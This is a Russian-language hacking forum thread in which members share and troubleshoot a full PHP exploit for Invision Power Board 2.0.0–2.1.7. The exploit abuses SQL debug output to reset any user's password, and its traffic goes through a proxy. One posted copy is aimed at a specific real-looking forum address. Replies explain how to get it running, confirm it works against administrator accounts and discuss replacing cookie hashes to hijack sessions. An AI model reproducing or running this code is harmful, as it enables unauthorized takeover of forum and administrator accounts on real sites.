PDA

Просмотр полной версии : ipb 2.1.7 -> Exploit


Serafim
11.08.2007, 14:25
<?php
/*

Debug Mode password change vulnerability
Affects Invision Power Borard 2.0.0 to 2.1.7
by Rapigator

This works if:

"Debug Level" is set to 3
or
Enable SQL Debug Mode is turned on

In General Configuration of the forum software.

*/

// The forum's address up to and including 'index.php'
$site = "http://forum123.ru";

// An existing user's login name
$name = "123";

// The new password(3-32 characters)
$pass = "1234";

// You can use a proxy...
$proxy = "219.11.80.65:8080";



// -----------------------------
$site .= "?";
$suffix = "";
$name = urlencode($name);
$pass = urlencode($pass);
$curl = curl_init($site.'act=Reg&CODE=10');
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
} else {
$suffix = "debug=1";
$curl = curl_init($site.'act=Reg&CODE=10&'.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
}
}
if (!isset($regid) || !isset($regcode))
{
echo "Error: Probably not vulnerable, or no forum found";
exit;
}

$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date, coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}
if (preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date, coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}

function change_pass($regcode,$regid,$vid,$userid) {
global $site, $suffix, $proxy, $name, $pass;
$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
echo "Password Changed!";
exit;
}
?>
Все функции правильно написаны, но вылетает ерор :( Пподскажите в чем трабл? :confused:

QtQDuck
11.08.2007, 14:29
<?php
/*

Debug Mode password change vulnerability
Affects Invision Power Borard 2.0.0 to 2.1.7
by Rapigator

This works if:

"Debug Level" is set to 3
or
Enable SQL Debug Mode is turned on

In General Configuration of the forum software.

*/

// The forum's address up to and including 'index.php'
$site = "http://forum.nevsedoma.com.ua/index.php";

// An existing user's login name
$name = "life:)";

// The new password(3-32 characters)
$pass = "1234";

// You can use a proxy...
$proxy = "219.11.80.65:8080";



// -----------------------------
$site .= "?";
$suffix = "";
$name = urlencode($name);
$pass = urlencode($pass);
$curl = curl_init($site.'act=Reg&CODE=10');
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>([\\w]*?)_reg_antispam<\/span> \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
} else {
$suffix = "debug=1";
$curl = curl_init($site.'act=Reg&CODE=10&'.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/INSERT INTO ([\\w]*?)_reg_antispam \\(regid,regcode,ip_address,ctime\\) VALUES\\(\'([\\w]{32}?)\',([\\d]*?),/', $page, $regs)) {
$prefix = $regs[1];
$regid = $regs[2];
$regcode = $regs[3];
}
}
if (!isset($regid) || !isset($regcode))
{
echo "Error: Probably not vulnerable, or no forum found";
exit;
}

$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=11&member_name={$name}&regid={$regid}&reg_code={$regcode}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
if (preg_match('/<span class=\'green\'>INSERT<\/span> INTO <span class=\'purple\'>'.$prefix.'_validating<\/span> \\(vid,member_id,real_group,temp_group,entry_date, coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}
if (preg_match('/INSERT INTO '.$prefix.'_validating \\(vid,member_id,real_group,temp_group,entry_date, coppa_user,lost_pass,ip_address\\) VALUES\\(\'([\\w]{32}?)\',([\\d]{1,32}?),/', $page, $regs)) {
change_pass($regcode,$regid,$regs[1],$regs[2]);
}

function change_pass($regcode,$regid,$vid,$userid) {
global $site, $suffix, $proxy, $name, $pass;
$curl = curl_init($site.$suffix);
curl_setopt($curl, CURLOPT_PROXY, $proxy);
curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($curl, CURLOPT_POST, 1);
curl_setopt($curl, CURLOPT_POSTFIELDS, "act=Reg&CODE=03&type=lostpass&uid={$userid}&aid={$vid}&regid={$regid}&reg_code={$regcode}&pass1={$pass}&pass2={$pass}");
curl_setopt($curl, CURLOPT_TIMEOUT, 10);
$page = curl_exec($curl);
curl_close($curl);
echo "Password Changed!";
exit;
}
?>
Все функции правильно написаны, но вылетает ерор :( Пподскажите в чем трабл? :confused:
Error: Probably not vulnerable, or no forum found?
мб залатали уже или ты ссылку не прально указал=)

maxster
11.08.2007, 16:51
ты курл подключил ?

maxster
11.08.2007, 17:59
этот эксплойт работаеть, только со включенным курлом, что бы его включить надо провести некие манипуляции с апачем :)

Это описание для тех, кто не знает, как сделать так чтобы заработал php_curl:

1. Качаем http://limpompo.jino-net.ru/php_curl.rar
2. Копируем libeay32.dll и ssleay32.dll в диру c:\windows\system32\
3. Копируем php_curl.dll в диру [you_apache_dir]\php\extensions
4. Редактируем PHP.ini - Удаляем Комент с extension=php_curl.dll
5. Перезагрузи Апачу!
6. Уря =) Работает... ыыыыыы

С Уважением limpompo.


ссылка битая, а новую найти я не смог...

4nob1oz
11.08.2007, 19:51
Поставь апач и мускул на локал машину. Там же прокси указать можно даже. Вклюсишь курл, вобьёшь прокси и проверишь работает или нет.

FaR-G9
12.08.2007, 02:24
А лучше скачай денвер http://denwer.ru там сразу и апач и мускул

Piflit
12.08.2007, 02:33
А лучше скачай денвер http://denwer.ru там сразу и апач и мускул
http://www.appservnetwork.com/ - мне этот больше нравится=\

limpompo
12.08.2007, 04:37
но тама нету php_curl! =)

mental2
17.10.2007, 18:40
А что делать когда ошибка в php_curl?

N19hTW0lF
20.10.2007, 17:52
вот http://flyelf.narod.ru/musor/curl.zip

heks
20.10.2007, 17:57
а можно узнать что вообще делает этот сплоит?

N19hTW0lF
20.10.2007, 18:21
изменят пасс узвера!-)

heks
20.10.2007, 19:13
у админов тоже пасы можно менять ?

Underwit
20.10.2007, 19:16
у админов тоже пасы можно менять ?

ессесно. Ток не обалщайся форум должен быть в режиме debug

Mordalio
20.10.2007, 22:45
А если форум пропатчен, то этот сплоит работает ?

N19hTW0lF
21.10.2007, 01:22
Mordalio
нет!

heks
22.10.2007, 10:29
все вроде сделал правильно
// The forum's address up to and including 'index.php'
$site = "http://www.sssss.ru/forums2/index.php";

// An existing user's login name
$name = "jhgdfhgfdgdsgfds@mail.ru"; имя которое зарегано на форуме

// The new password(3-32 characters)
$pass = "jhgdfhgfdgdsgfds@mail.ru"; пасс

// You can use a proxy...
//$proxy = "219.11.80.65:8080"; прокси убрал (онитут обязательно нужны?)
и кто может сделать так что бы работать без прокси браузер как бы прокси потдерживает и не за безопасность беспокоиться не приходится да ем более и впн еще

nightmare007
25.10.2007, 18:55
А чё этот сплоит бесполезен если стоит "Защитный код" О_о?... чото у мя вот так после запуска выходит:
PHP Fatal error: Call to undefined function: curl_init() in C:\123\forums\change.php on line 37 X-Powered-By: PHP/4.4.4 Content-type: text/html

37 это чото вот:
$curl = curl_init($site.'act=Reg&CODE=10');

MartS
17.11.2007, 04:00
эрор в студию, а curl подключен?
з ы
эксплоит видел у миливорма

PiNzit
18.01.2008, 22:45
Слил длл.ки, подключил курл к пхп (денвер) всеравно подобная ошибка,подскажите чтонить...

UPD все, разобрался

Tigger
20.01.2008, 03:32
Форум ipb 2.1.6. Получил хеш юзера...захожу оперу, что бы изменить куки...Всякое ненужное удаляю..но у меня такой вопрос! Сессию тоже надо удалять?

JAH
03.02.2008, 23:50
Вроде там надо заменить хеш и Id вроде все лично я так делал :)
Если чо не так,не пинайте я только учусь :)

GreenTiger
04.02.2008, 23:19
http://milw0rm.com/exploits/4841
v.2.1.7 © Eugene Minaev

Fristail
12.02.2008, 10:19
подскажите пожалуйста версию IPB, в обзоре уязвимостей не нашел. Заранее спасибо.

forum.sevstar.net

Sw1tchBack
12.12.2009, 22:21
====
PHP5 cURL: http://xfiletrash.narod.ru/php_curl.rar
====
Чтоб не трахались как я))

SkyS
16.12.2009, 18:09
Fatal error: Call to undefined function curl_init() in C:\AppServ\www\start.php on line 37

37. $curl = curl_init($site.'act=Reg&CODE=10');


Это я ге-то с кулом тупанул? Вроде скачал, всё позаменял , строчки поудалял.. всё как на епрвой страничке написано сделал.. и вот так вот..

Tigger
16.12.2009, 18:46
SkyS, скачай WampServer, там в настройках включи курл.